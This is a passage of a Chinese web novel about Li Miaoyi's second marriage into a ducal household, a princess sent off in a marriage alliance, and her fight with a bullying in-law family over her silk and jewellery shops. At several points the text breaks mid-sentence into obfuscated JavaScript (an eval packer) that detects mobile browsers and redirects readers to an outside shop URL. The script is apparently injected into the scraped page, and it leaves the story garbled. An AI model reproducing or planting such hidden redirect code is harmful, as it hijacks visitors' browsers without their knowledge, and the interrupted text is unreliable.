桃花的花瓣是淡淡的绯色。他带着她蘸了胭脂,又在笔尖点了些许清水,才落笔点染。一笔下去,花瓣便在枝头绽开,粉嫩嫩的,仿佛还带着清晨的露水。 “好看吗?”他问。 她点了点头,声音轻轻的:“好看。” 他又带着她画下一朵。这一朵开得正好,五片花瓣舒展着,花蕊处用藤黄点了细细的几点,生动得仿佛能招蜂引蝶。 画着画着,他的唇便不知何时贴上了她的耳廓。 她握笔的手微微一颤,在纸上落下一道不合时宜的墨痕。 “手抖了。”他含混地说,鼻息渐渐重了起来。 李妙仪咬住下唇,不敢出声。 园子里还有下人远远候着,虽说隔得远,可若是被人看见……想到这里,她脸颊愈发烫了起来,却不受控制地向他怀里靠了靠。 半晌,他终于直起身来,目光落在画上。那枝桃花已然成形,枝头三两朵盛放的,还有几个半开的花苞,疏密有致,倒也像模像样。 “画得不错。”他点评道,“只是这笔下的桃花,怎么瞧着比园子里的还要艳上几分?” 她听出他话里的调侃,羞恼地轻轻推了他一下,却被他握住手腕,顺势拉到身前。 “去那边坐坐?”他的目光落在不远处的秋千架上。 那秋千架是年前新做的,两根结实的绳索从树干上垂下来,系着一块宽大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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府中的下人也都看在眼里,“少夫人”在二公子心中分量极重。 下人们对李妙仪也愈发恭敬小心。厨房里做了新点心,头一份总是先送到她院里;她要什么东西,话音还没落,便有人抢着去办。谁都知道,得罪了少夫人,便是得罪了二公子。 国公夫人心中那最后一丝芥蒂,也在这日复一日的温情中悄然化开。 这日,她来探望李妙仪,两人坐着说了好一会子话。 临去时,她握着李妙仪的手,轻声道:“伯章那孩子,从小就不善表达。可他对你,是真的上了心。你好好待他。” 李妙仪点头:“母亲放心。” 国公夫人拍了拍她的手,转身离去。走到院门口时,又回头望了一眼,唇角浮起淡淡的笑意。 无论如何,儿女幸福,便是父母最大的心愿。 春日的阳光暖暖地照着,桃花依旧开着,日子还长着呢。 52. 问题 春光正好,婚后月余,国公府中处处花木扶疏。 每日晨起,李妙仪总能在郑淮序怀中醒来。若是醒得早些,她便静静端详他的眉眼。他也不睁眼,只手臂一收,将她往怀里带了带:“再看要收钱了。” 她便凑上去,亲了亲他的下巴:“夫君,拿这个付,够不够?” 他自是再也睡不着了。 闲来午后,李妙仪正在院中翻看新送来的账册,忽听外头一阵清脆的笑声由远及近。她抬眸,见一道鹅黄身影风风火火地闯了进来。 “姐姐!” 永嘉郡主提着裙摆,三步并作两步跨进院门,脸上是掩不住的兴奋。身后两个婢女气喘吁吁,显然是一路追过来的。 李妙仪放下账册,起身相迎,唇角不自觉弯起:“永嘉郡主,你怎么来了?” “怎么,不欢迎?”永嘉郡主挑眉,一把挽住她的手臂,“我可是好不容易求了母妃允我出府,专程来看你的!” 李妙仪笑着将她迎进屋,命人奉茶。永嘉郡主却顾不上喝,一双杏眼只管在她身上来回打量,越看越是惊讶。 “姐姐,你这是吃了什么仙丹?” 李妙仪一愣:“什么?” “你看你!”永嘉郡主拉着她的手,让她转了个圈,“这气色,这身段,这脸蛋……啧啧,比我上次见你时,简直像换了个人!” 李妙仪这才明白过来,脸上一热。 自从嫁给郑淮序,她确实一日比一日丰润起来。那些过往积下的清减与苍白,不知何时已消失得无影无踪。镜中的自己,眉眼舒展,面若桃花,连唇角都时常噙着笑意。 永嘉郡主见她这副模样,眼中更是好奇,凑近了低声道:“看来你这二婚,过得很是滋润啊。” 李妙仪嗔她一眼:“胡说什么。” “我哪里胡说了?”永嘉郡主拉着她在榻上坐下,一副要长谈的架势,“之前每次见你,都是一副病恹恹的样子,下巴尖得能戳人。如今瞧瞧这气色,白里透红,一看就是被人疼着的。” 她说着,又凑近了些,眼中闪着促狭的光:“姐姐,我有个问题,憋在心里很久了。” 李妙仪看她那神情,猜想不是什么正经话,警惕道:“什么问题?” 永嘉郡主眨了眨眼,左右看看,确认屋里没有旁人,这才附在她耳边,问道:“他们俩,谁更厉害些?” 李妙仪一时没反应过来,茫然地看着她:“什么意思?” 永嘉郡主急了,跺了跺脚,索性直白道:“就是郑淮舟和郑淮序,他们谁更厉害?” 李妙仪脑中“嗡”的一声,脸颊瞬间红透。 “永嘉!”她羞恼地推了她一把,“你……你问的都是什么!” “我好奇嘛!”永嘉郡主理直气壮,“你嫁过他们兄弟两个,当然只有你知道。快说说,让我长长见识。” 李妙仪又羞又气,正要开口斥她,脑海中却不由自主地浮现出一些画面—— 洞房那夜,郑淮舟目光落在崔令言脸上,带着占有欲的审视。 “怕?”他只问了一个字。 崔令言怯怯点头。 他唇角微勾,俯身下来时,一手扣住她的后颈,不容她退缩。那个吻霸道而绵长。她喘不过气,轻轻推他,他却纹丝不动,直到她眼中泛起水雾,才稍稍退开,拇指擦过她被吻得红肿的唇。 “习惯就好。” 那一夜,他没有给她太多适应的时间。她哭,他便吻去她的泪;她躲,他便扣住她的腰拉回来。他的强势让她无处可逃,只能随他浮沉。 后来崔令言才意识到,郑淮舟在军中数载,杀伐决断刻进了骨子里。对待枕边人,亦是不容抗拒的霸道。 可紧接着,另一个人的身影闯入脑海—— 郑淮序。 那一夜,他克制得近乎自虐。他会在她蹙眉时停下,一遍遍吻去她眼角的泪,小心翼翼地照顾她的感受。她被他问得又羞又暖,最后索性主动吻上去,才让他放下那些顾虑。 永嘉郡主见她久久不语,越发来了兴致:“怎么,不好说?那让我猜猜,是郑淮舟?好歹在军中待了些年,身子骨肯定……” “永嘉!”李妙仪终于忍不住,一把捂住她的嘴,“你再胡说,我就赶你出去了!” 永嘉郡主被她捂着嘴,眼睛却弯成了月牙,呜呜地笑着,分明是在笑话她。 李妙仪又羞又恼,却拿她毫无办法。那些画面还在脑海中挥之不去,她不是崔令言,却还是坐立不安,恨不得找个地缝钻进去。 永嘉郡主见她真的恼了,这才挣开她的手,笑着道:“好好好,不问了,瞧你脸红成什么样了。” 李妙仪瞪她一眼,端起茶盏猛灌了一口,试图用茶水压下脸上的热意。 永嘉郡主看着她变幻莫测的脸色,收起玩笑的神情,关切道:“姐姐,你怎么了?脸色怎么这么难看?” 李妙仪回过神,勉强笑了笑:“没什么,只是有些不适。” 永嘉郡主狐疑地看着她,握住她的手,轻声道:“是不是我说错话了?对不起,姐姐,你别往心里去,我就是嘴快,没什么恶意的。” 李妙仪摇摇头:“我知道。” 窗外传来鸟雀的啁啾声,阳光透过窗纱洒进来,在地上投下斑驳的光影。 永嘉郡主忽然问:“姐姐,你幸福吗?” 李妙仪抬眸看她。 “我是说,”永嘉郡主难得认真,“嫁给郑淮序,你开心吗?” 李妙仪沉默了一瞬,然后缓缓点头。 “开心。”她的声音很轻,却很坚定,“从来没有这样开心过。” 永嘉郡主看着她眼中流露出的柔情,终于放下心来,展颜一笑:“那就好,管他什么厉害不厉害的,只要你开心,比什么都强。” 李妙仪被她这话逗笑了,方才那些纷乱的思绪,也在这笑容中渐渐淡去。 是啊,那些记忆不属于她,又有什么关系呢?她不是崔令言,她是李妙仪。她爱的人,是郑淮序。而郑淮序爱的人,也是她。 这就够了。 两人又说了会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曾经,她是安阳公主,是父皇最宠爱的女儿,是众星捧月的存在。那时她何需这般小心翼翼地周旋?何需在意这些命妇们的眼光和评价? 而如今,她学会了收敛锋芒,学会了察言观色,学会了在这名利场中,用最得体的笑容保护自己和在意的人。 她正出神,忽听殿中气氛一变。 北戎那位身材魁梧的皇子站了起来。他身形高大,虎背熊腰,一身贵族的华服更衬得他气势逼人。他躬身向御座上的皇帝一礼,声音洪亮,在大殿中回荡。 “尊敬的大雍皇帝陛下,外臣此次奉父汗之命前来,除朝贺之外,亦有一事相求。” 大殿中渐渐安静下来,众人目光都落在那北狄皇子身上。 “我北戎愿与大雍永结盟好,特请陛下赐婚,迎娶一位大雍公主,以固两国邦交!” 此言一出,殿中寂静。 和亲,自古有之,并非奇事。但由北戎皇子在如此场合当面提出,其意味便有些不同了。这是在逼皇帝当场表态,不容拒绝。 53. 外戚 仁宣帝笑意不改,目光徐徐掠过殿中几位皇子公主,不疾不徐地开口:“皇子有此美意,朕心甚慰。不知皇子属意朕哪位皇儿?” 北戎皇子显然早有准备,当即扬声道:“外臣久闻大雍八公主殿下,性情温婉,端庄贤淑,心向往之。恳请陛下,将八公主赐婚于外臣!” 八公主李妙宁! 李妙仪心口猛地一沉,目光转向角落里的少女。 李妙宁的母妃位份卑微,连带着她也养成了怯懦的性子。此刻骤然被点到名,她仓皇抬起头,脸上血色褪尽,惨白如纸。那双眼睛里满是惊惧与无助,嘴唇翕动着,却一个字也吐不出来。 北戎苦寒,民风彪悍,更有世仇在前。让李妙宁那样的性子嫁过去,无异于羊入虎口。此生此世,只怕再无归期。 李妙仪下意识望向御座上的皇帝,盼着能从他眼中看到一丝犹豫,一丝不舍,一丝为人父的心疼。 然而,什么都没有。 仁宣帝沉吟片刻,脸上甚至浮现出一丝欣慰的笑容。既堵住了北戎的嘴,又送走一个无足轻重的女儿,不伤筋不动骨,两全其美,再好不过。 “准奏。”仁宣帝的声音回荡在大殿之上,“八公主李妙宁,温良恭俭,堪为佳配。朕便册封其为‘安宁公主’,择吉日,与北戎皇子完婚,永固两国之好!” “谢陛下隆恩!”北戎皇子喜形于色,躬身谢恩。 李妙宁听到那道旨意时,整个人像被抽去了筋骨,软软地靠在椅背上,再没有一丝力气。 而她四周的妃嫔、兄弟姐妹,无一人出声,甚至有人悄悄松了口气。 李妙仪攥紧衣袖,指尖因用力而泛白。 她曾以为,父皇对她的宠爱是不同的。她曾是那个例外,是万千宠爱集于一身的嫡公主。可如今看着李妙宁的遭遇,她才真正明白—— 在权力和利益面前,骨肉亲情,是如此的不堪一击。 她曾经是例外,不过是因为她足够有用,足够让父皇满意。若有一日她也如李妙宁这般无足轻重,结局又会有何不同? 郑淮序似乎察觉到了她情绪的波动,在桌下轻轻握住了她冰凉的手。他的掌心温热,传递着无声的安慰和力量。 李妙仪反手握紧他,心绪稍稍平复。 宫宴仍在继续,觥筹交错间,没有谁再提起那位即将远嫁的八公主。方才那一幕,仿佛不过是席间一道下酒菜,用过便忘了。 李妙宁垂下了头,肩膀微微颤抖着,不知是在饮泣,还是在无声地绝望。她身边坐着她的母妃,此刻也低着头,什么也不敢说,什么也不敢做。 这就是皇家。 这就是她曾经拼尽全力想要回去的“家”。 李妙仪收回目光,心中最后一丝对那个“家”的留恋,也彻底消散了。 宴散时,马车驶离皇宫。穿过寂静的长街,月光透过车帘的缝隙洒落进来,在地毯上投下斑驳的光影。 过了许久,李妙仪才开口道:“我曾以为,父皇是真的疼我。” 郑淮序没有说话,只是将她揽得更紧了些。 “可今晚我才明白,”她继续道,声音带着一丝自嘲,“他疼的,从来不是女儿,是有用的棋子。有用时,万千宠爱集于一身;无用时,便像妙宁那样,一句话就打发了。” “妙仪。”他低声唤她,“你不是棋子。” 李妙仪抬起头,对上他的目光。 她很喜欢他的眼,像一汪深潭,能容纳她所有的委屈与不甘。 “即便命运开了天大的玩笑,你还是奋力掀开了一个口子。”他一字一句道,“无论是齐王,还是圣上,他们都不能随意拿捏你。” 李妙仪将脸埋进他胸前,闷声道:“我知道,我从前可是骄纵跋扈的李妙仪啊……正因为知道,才觉得这一切太辛苦了。” 她没有说出口的是:正因为曾经被捧得太高,摔下来时,才更疼。 宫宴归来后,李妙仪消沉了几日。 那份物伤其类的悲凉,挥之不去。她常常会想起李妙宁那张惨白的脸,那双惊恐的眼睛,那副颤抖的肩膀。那个少女,甚至还不如当年的她。 郑淮序将她的郁郁寡欢看在眼里,心疼不已,便趁着休沐,带她去城外走走。 出了城门,郑淮序并未在官道上逗留,策马拐入一条小径。入目是满眼的绿意,阳光透过枝叶的缝隙洒落,在地上投下斑驳的光影,随着马儿的步伐轻轻晃动。 行至山脚一处溪流旁,郑淮序勒住马,抱着李妙仪轻盈落地。 “山路难行,马儿上不去。我们步行,可好?”他看着她,眼含征询。 李妙仪望着眼前蜿蜒向上的青石阶,深吸了一口山林间湿润清甜的空气,点了点头。 “看看我们谁先到半山腰的亭子。”她忽然起了几分好胜心,提起裙摆,率先踏上石阶。 郑淮序眼底漾开温柔的笑意,快步跟上,与她并肩而行。 两人时而你追我赶,时而驻足欣赏沿途风景。李妙仪虽体力见长,但比起郑淮序这等习武之人,终究还是逊色不少。爬了约莫一炷香的功夫,她便有些气息不匀,额角也沁出了细密的汗珠。 郑淮序放缓脚步,牵住她的手,将力量源源不断地传递过去。 “累了便歇歇。” 李妙仪摇了摇头,看着两人交握的手,笑道:“不累,比从前在学宫时,跟着你满猎场跑,可轻松多了。” 她这话带着几分调侃,提及的却是他们作为“死对头”时的往事。 那时他总爱在骑射课上与她争锋,下了课也不消停。有时甚至会追着她跑过大半个猎场,就为争辩一句诗文的释义,或是某件小事的高低。 郑淮序闻言也笑了起来,眼神里带着追忆:“那时你跑得可不慢,脾气也犟。明明累得不行,嘴上却从不服软。” “谁让你总惹我!”李妙仪嗔怪地瞪他一眼。 “惹你?”郑淮序挑眉,“分明是你先与我争高下,我那支箭射中了靶心,你非说是擦边过的。” “没中!我亲眼看见的!” “隔了三十步,你能看见什么?” “我眼力好!” 两人你一言我一语,谁也不肯让谁。说着说着,却都笑了起来。 那些年少时鸡飞狗跳的过往,此刻回想起来,竟都镀上了一层金色。虽然再也回不到无忧无虑的从前,但如今能携手同行,心意相通,彼此守护,又何尝不是另一种更好的结局? 抵达半山腰凉亭时,李妙仪虽微微喘息,脸颊泛红,但精神极好,眸光亮晶晶的,满是生机。 站在亭中极目远眺,盛京的轮廓依稀可见,远处田畴沃野,近处层林尽染,令人心旷神怡。 李妙仪靠在栏杆上,感受着山风拂面。那风清凉而温柔,吹散了她额角的薄汗,也吹散了胸中最后一丝郁气。 郑淮序站在她身侧,看着她舒展的眉眼,心中那块石头终于落了地。 “好些了?” 李妙仪转头看他,眼里漾着笑意:“好多了。谢谢你陪我。” 郑淮序伸手,将她揽入怀中:“你我之间,不必言谢。” 两人在亭中歇息了片刻,吃了些带来的点心清水。歇够了,便循原路下山。 然而,刚走下亭子不远,便听山道下方传来一阵喧哗声。那声音越来越近,夹杂着女子的哭泣和男子的厉声呵斥,在寂静的山林中格外刺耳。 郑淮序眉头微蹙,下意识将李妙仪护在身后,循声望去。 只见不远处一片空地上,几个家丁模样的壮汉,正围着一对穿着朴素的农家父女推推搡搡。 那老汉跪在地上,连连磕头,老泪纵横:“陈爷,陈爷开恩啊!这地是小老儿祖传的,就指着它过活,十两银子实在是不够啊……求您高抬贵手,放过我们吧!” 他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280462|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁那个看起来只有十三四岁的小姑娘,吓得瑟瑟发抖,哭得几乎喘不上气。 一个留着两撇鼠须的中年男子,正趾高气扬叫骂:“不识抬举的老东西!陈爷我看上你这块地是你的福气!十两银子够你们活下半辈子了!再敢啰嗦,小心吃不了兜着走!” 说着,淫邪的目光在那小姑娘身上扫了扫,嘿嘿笑道:“没钱?没钱也好办!让你这丫头跟爷回府抵债,伺候得爷舒服了,说不定爷一高兴,还能多赏你几两银子!” 他伸手,竟要去摸那小姑娘的脸。 “住手!” 一声清冷的呵斥骤然响起。 陈管事和几个家丁都是一愣,循声望去。 只见不远处,一对年轻男女站在山道上,男子身形挺拔,面容冷峻;女子容貌清丽,面露愠色。 陈管事在京中横行惯了,仗着在陈国舅府上当差,向来不把寻常百姓放在眼里。见对方虽气度不凡,但面孔生疏,便以为是什么外来的富户,并未放在眼里。 他嗤笑一声,趾高气扬道:“哪里来的多管闲事的?识相的赶紧滚开!知道爷是谁吗?爷是陈国舅府上的管事!坏了爷的好事,让你们吃不了兜着走!” 陈国舅。 这是八公主李妙宁那母妃的母族。那位娘娘位份低微,在宫中战战兢兢,如履薄冰,生怕行差踏错。而她的外戚,竟敢在天子脚下,如此强取豪夺,欺压良善! 郑淮序的脸色也沉了下来。 他上前一步,斥道:“好大的威风,光天化日,强占民田,调戏民女,这就是国舅府的做派?” 陈管事心里打了个突,但想到自家主子的背景,又强自镇定下来,色厉内荏道:“是又怎么样?这地我们陈府看上了,是他们的造化!你们少管闲事!再不走,别怪我们不客气!” 那几个家丁也纷纷撸起袖子,面露凶光。 郑淮序冷哼一声。 他甚至无需示意,身后两名亲卫已闪身而出。几声闷响后,那几个耀武扬威的家丁便惨叫着倒了一地,捂着手腕或膝盖,哀嚎不止。 陈管事吓得脸色煞白,连连后退:“你……你们敢动手?!反了!反了!” 李妙仪从郑淮序身后走出,目光清冷地看着他。那目光并不凌厉,却让陈管事莫名脊背发寒。 “回去告诉陈国舅,”她扬声道,“若再敢纵容家仆在外如此横行,休怪我们将此事原原本本,上达天听!” 上达天听! 陈管事闻言,浑身一颤,脑海中忽然闪过一个念头—— 该不会是宫里的人吧? 他脸色瞬间惨白,再不敢嚣张,点头哈腰道:“是……是……小人知错,小人知错!这就滚,这就滚!” 说罢,带着那些哀嚎的家丁,狼狈不堪地逃下山去。 那对农家父女惊魂未定,连忙跪地磕头:“多谢贵人!多谢贵人救命之恩!” 郑淮序示意护卫将二人扶起。那老汉抬起头,脸上满是感激的泪水。那小姑娘躲在父亲身后,怯生生地探出头来,看着李妙仪,眼中满是崇拜。 李妙仪心中一软,从袖中取出钱袋,递过去:“拿着,若再有麻烦,可去京兆尹衙门递状纸。” 老汉连连摆手:“这如何使得!贵人已经救了我们父女,怎能再受贵人的银子!” “举手之劳罢了。”李妙仪将银子塞进他手里,“天快黑了,早些下山。” 老汉千恩万谢,带着女儿离去。走出几步,那小姑娘忽然回头,朝李妙仪挥了挥手,脸上绽开灿烂的笑容。 李妙仪也笑了,朝她挥了挥手。 看着他们消失在林间小径,她脸上的笑容渐渐淡去。今日虽制止了一桩恶行,但这世间,如陈家这般仗势欺人之事,不知还有多少。 而皇家与外戚之间盘根错节的关系,更是一张无形的大网,笼罩着这繁华盛京,也笼罩着无数小人物的命运。 54. 依仗 北戎此来,明面上是朝贺和亲,暗地里却少不了试探与交锋。使团在京期间的一应事务,由礼部与鸿胪寺主理,但涉及边防治安、使团安全等事,兵部自然责无旁贷。 郑淮序身为兵部侍郎,时常要与总领此事的李承玦碰面商议,李妙仪亦在府中与他碰过几回。 自散心归来后,李妙仪深知,在这盛京立足,仅靠国公府的荫蔽是远远不够的,她需要有自己的根基和依仗。 于是,她将视线聚焦到国公府名下那些铺子。 国公府祖上几代积累,名下产业不少,但多数交由老成的掌柜打理,循规蹈矩,营收一般。其中有两间铺子,一间绸缎庄,一间首饰铺,都开在盛京最好的地段,却因经营不善,年年亏空。 李妙仪虽未曾经手商事,但身处宫廷多年,耳濡目染,对那些贵妇小姐们的喜好和潮流风向的把握,有着常人难以企及的敏锐。 她先将历年账册要来,细细翻看;又派青鸾、青梧扮作寻常客人,去街上打听行情、观察客人的喜好。忙了数日,心里总算有了底。 待郑淮序回府,她直言要接手那两间铺子。 郑淮序知她是个有主意的,但商事繁琐,与外头三教九流打交道,不是易事。他沉吟片刻,道:“你想做,我自然支持。若是亏了,也别往心里去,权当交学费。” 李妙仪弯了弯唇角,道:“你放心,我心中有数。真做不成,也不会硬撑的。” “夫人想做什么,尽管去做。天塌下来,也有为夫顶着。” 得了他的支持,李妙仪便开始放手去做。她先是给两间铺子重新取了名儿,绸缎庄叫“锦瑟阁”,首饰铺叫“玲珑坊”。 她并未大刀阔斧地更换掌柜伙计,待摸清铺子的底细,专门请来年轻工匠,画出几种融合了前朝古风与异域情调的布料纹样,交由绣娘秘密织造。 头面首饰的设计,更注重巧思与意境。譬如玉簪雕成含苞待放的玉兰,步摇垂下细如发丝的银链,戒指镶嵌的宝石切割成花瓣的形状。 第一批货品赶制了一个多月,终于备齐。开张那日,李妙仪坐立难安,一会儿问青鸾派人去打听了没有,一会儿又担心掌柜会不会应付不来。 郑淮序从兵部回来,见她这副模样,笑道:“紧张什么?” 李妙仪闷声道:“万一卖不出去怎么办?那么多银子投进去了,要是亏了……” “亏了就亏了。”郑淮序不以为然,“我养得起你。” 李妙仪被他逗笑,轻轻捶了他一下:“谁要你养。” “不要我养?”郑淮序挑眉,俯身在她耳边低语,“那要谁养?” 热气拂过耳廓,李妙仪脸颊发烫:“别闹,等消息呢。” 话没说完,青鸾的声音从外面响起:“少夫人,郭掌柜派人来报信了!” 李妙仪一把推开郑淮序,扬声道:“进来。” 青鸾掀帘进来,脸上掩不住喜色:“少夫人,郭掌柜说,铺子一开门,客人就涌进来了!咱们备的那些货,不到一个时辰就卖了一大半!还有人问下一批什么时候上!” 李妙仪眼睛一亮:“真的?” “千真万确!”青梧笑道,“郭掌柜让问,要不要趁热打铁,再赶制一批?” 心中一块大石终于落地,她正要开口,却被郑淮序止住。 “先别急,”他对青鸾示意道,“告诉掌柜,今日剩下的货不许再卖,就说售罄了。让那些没买到的客人留下名帖,下一批货优先通知她们。” 青鸾愣了愣,随即会意,应声退下。 李妙仪转头看他:“你这是……” “人心罢了。”郑淮序唇角微勾,眼中带着几分狡黠,“越是稀罕,越是金贵。” “锦瑟阁”的绸缎和“玲珑坊”的首饰一经推出,迅速在贵妇圈中引起了轰动。 那些看腻了传统花样的贵女命妇们,趋之若鹜。听说第一批货一上午便售罄,第二批要等半个月时,更是急得不行,纷纷派人到铺子里留下名帖,生怕错过。 李妙仪深谙此道,第二批货果然提了价,依旧被抢购一空。第三批、第四批亦是如此。她将货品分为几个档次,寻常料子和首饰随时有售,但那些设计精巧的“限量款”,每月只出几件,提前预定,先到先得。 如此一来,两家铺子的名声越传越响,连宫里的几位娘娘都听说了,托人出来打听。 短短两三月,这两间铺子的营业额翻了几番,利润丰厚,不仅填补了之前的亏空,还为国公府带来了意想不到的进项。 颐年堂内,国公夫人正坐在榻上喝茶,见李妙仪进来,笑着招手:“来,坐。” 她依言坐下。 “言儿,谢谢你。”国公夫人握住她的手,拍了拍,“你是不知道,从前那些铺子年年亏钱,我跟国公爷没少头疼。如今到你手里,倒像活了过来。” 李妙仪谦虚道:“母亲过誉了,儿媳不过是略尽绵力。” “什么略尽绵力?”国公夫人笑道,眼中带着几分促狭,“伯章那孩子有福气,娶了你这样的媳妇。” 她顿了顿,又拉着李妙仪的手,语重心长道:“言儿啊,你是个有主意的,往后想做什么,尽管放手去做。府里上下,都支持你。” 李妙仪眼眶有些发酸,点头道:“多谢母亲。” 国公夫人又拉着她说了会儿话,问了些铺子里的事,才放她回去。 走出颐年堂,李妙仪抬头望了望天。临近夏日,阳光有些炽热地洒在身上。她深吸一口气,唇角不自觉弯起。 这便是家的感觉吧。 有人支持,有人信任,有人愿意看着你发光发热。 真好。 然而,树大招风。 “锦瑟阁”和“玲珑坊”生意的火爆,自然也引起了某些人的眼红。 陈家在京中亦有绸缎和首饰生意,原本就竞争不过老字号,如今被这两间新崛起的铺子抢走了大量客源,更是心急如焚。 陈国舅那个不成器的侄子,也就是栖霞山上那个陈管事的堂弟陈彪,在不知道这两间铺子背后东家是国公府的情况下,竟打起了歪主意。 他先是派人到铺子里捣乱,假装客人挑刺,污蔑货物以次充好,被经验丰富的掌柜伙计挡了回去。后又想用低价恶性竞争,首饰买一送一,却发现贵妇人根本稀罕便宜货。 软的不行,便想来硬的。 这一日,陈彪亲自带着几十号家丁打手,气势汹汹地堵在了“锦瑟阁”门口。 他叉着腰,扯着嗓子叫骂:“掌柜,你们铺子卖的是什么破烂货?我嫂子前儿个买了你们一匹布,回去一洗就褪色!今儿个不给个说法,老子砸了你这破铺子!” 郭掌柜站在门口,拱手道:“这位爷,有话好说。若真是我们铺子的货有问题,我们自当负责。只是您这样带人堵在门口,影响了其他客人,我们也不好做生意。” “少废话!”陈彪一脚踢翻旁边的幌子,唾沫星子横飞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑淮序低头,在她发顶落下一吻。 “我们配合得确实好。”他顿了顿,忽然笑了,“不知夫人有没有兴趣,配合我做点别的?” 李妙仪抬眸,对上他意味深长的目光,脸微微一热,伸手推他。 “大白天的……” “白天怎么了?”郑淮序将她打横抱起,大步往内室走去,“白天正好,看得更清楚。” 李妙仪羞得将脸埋在他胸前,却忍不住笑出声来。 事情果然如郑淮序所料,迅速发酵。 京兆尹接到此案,一看涉及国公府和陈国舅府,不敢怠慢。陈彪等人仗势欺人、冲击商铺的事实清楚,证据确凿,加之郑淮序这边施加的压力,京兆尹只得依法判处,杖责四十,收监三个月,并罚没了陈家一大笔银钱。 这还不算完,一份详述陈家近年来诸多恶行的奏报,摆在了仁宣帝的御案之上。 奏报写得极有技巧,既不显得是刻意针对,又将陈家的嚣张跋扈描绘得淋漓尽致,欺行霸市、强买强卖、纵奴行凶,桩桩件件,都有据可查。 仁宣帝最终下旨,申饬陈国舅治家不严,纵容族人横行不法,夺其虚衔,责令其闭门思过,严加管束族人。 经此一事,陈家元气大伤,气焰被彻底打了下去,再不敢在盛京肆意妄为。 55. 献策 和亲的队伍,终究是出了盛京。 李妙仪站在临街酒楼的二层,默默注视着。长街之上,净水泼街,黄土垫道,禁军肃立两旁。送亲仪仗绵延数里,旌旗蔽日,鼓乐震天,极尽大雍的奢华与威仪。 十六人抬的凤舆缓缓行过,垂着密密珠帘,隐约可见里头端坐的身影,繁复的嫁衣层层叠叠,像一座华丽的囚笼。 若没有那场坠崖,没有这离奇的重生,她的命运,是否也会在某个时刻,成为这盛大仪仗中的一个符号? 队伍渐渐远去,鼓乐声变得缥缈,最终消失在长街尽头。李妙仪心中堵得厉害,她沉默地下了楼,马车粼粼驶回国公府。 刚进二门,便有丫鬟来报,说是崔夫人过来了,正在颐年堂与国公夫人说话。 李妙仪脚步顿了顿,旋即恢复如常:“知道了。” 颐年堂内,国公夫人与柳氏分宾主落座,正说到热闹处。见李妙仪进来,两人都露出笑脸。 “给母亲请安,给婆母请安。”李妙仪敛衽行礼。 “快起来,自家人不必多礼。”国公夫人笑着招手,让她坐到身边。 柳氏上下打量着,嘴上念叨起来:“气色倒是不错,可见姑爷待你是极好的。”说着话锋一转,“言儿啊,你与姑爷成婚也有些时日了,这肚子可有什么动静没有?” 李妙仪脸上得体的笑容滞住。 柳氏浑然不觉,自顾自说下去:“你如今虽是二婚,好在是嫁回了自家,公婆待你也宽厚,终究需早些生下嫡子。” 国公夫人在一旁听着,也点头附和:“亲家母说的是正理。早日生下哥儿,我和你父亲也就彻底放心了。” 李妙仪垂着眼,静静地听着,没有反驳,也没有应和。 柳氏只当她害羞,越发说得起劲,从“坐胎的月份”讲到“求子的偏方”,絮絮叨叨,没完没了。料定国公夫人在场,她不会驳长辈的面子。 李妙仪端起茶盏,抿了一口。茶是今年的新茶,龙井的清香在舌尖化开,她却尝不出任何滋味。 她想起自己这些时日来做的事,经营铺子,为府中开源,周旋于各府之间。但无论她赚多少银子,谈多少生意,展露多少才能,最终衡量她的,依然是那方寸之间的肚皮。 她忽然觉得有些累。 好不容易送走了柳氏,李妙仪回到自己院里,晚膳也吃得心不在焉。 郑淮序进来的时候,看见的就是这幅光景。 他在门口顿了顿,挥手屏退了左右丫鬟,走到她身边坐下,伸手揽住她的腰,将人带进怀里。 “怎么了?”他低头看她,声音放得很轻,“今日去送八公主,心里难受?” 李妙仪靠在他胸前,半晌才闷闷地开口:“不只是为了八妹。” 郑淮序没有催促,只是轻轻拍着她的背,像哄小孩儿似的。 李妙仪抬起头,眼中带着罕见的迷茫:“伯章,我有时觉得,做女子真难。” 她说着,声音渐渐激动起来:“你看,我们可以进学,可以吟诗作赋,可以管账经营,可以赚银子养家。可一旦踏入后宅,似乎所有的价值,都变成了能否伺候好夫君,能否绵延子嗣。” 重生以来,类似的言论数不胜数,她胸口像堵着一团棉花。 “仿佛我这个人本身,我付出的那些努力,都无足轻重。八妹如此,我亦是如此。无论身份尊卑,到头来,都逃不过这被定义、被衡量的命运。” 她说完,眼眶微微泛红,却倔强地忍着,不肯让眼泪落下来。 郑淮序静静地听着,目光落在她脸上,看着她眼中那抹不肯熄灭的光。那不是无理取闹的抱怨,而是清醒的、疼痛的、对这个时代的质问。 他将她搂得更紧些,等她情绪稍微平复,才柔声道:“妙仪,我知你心中所想,亦懂你的不甘。” 李妙仪微微一怔。 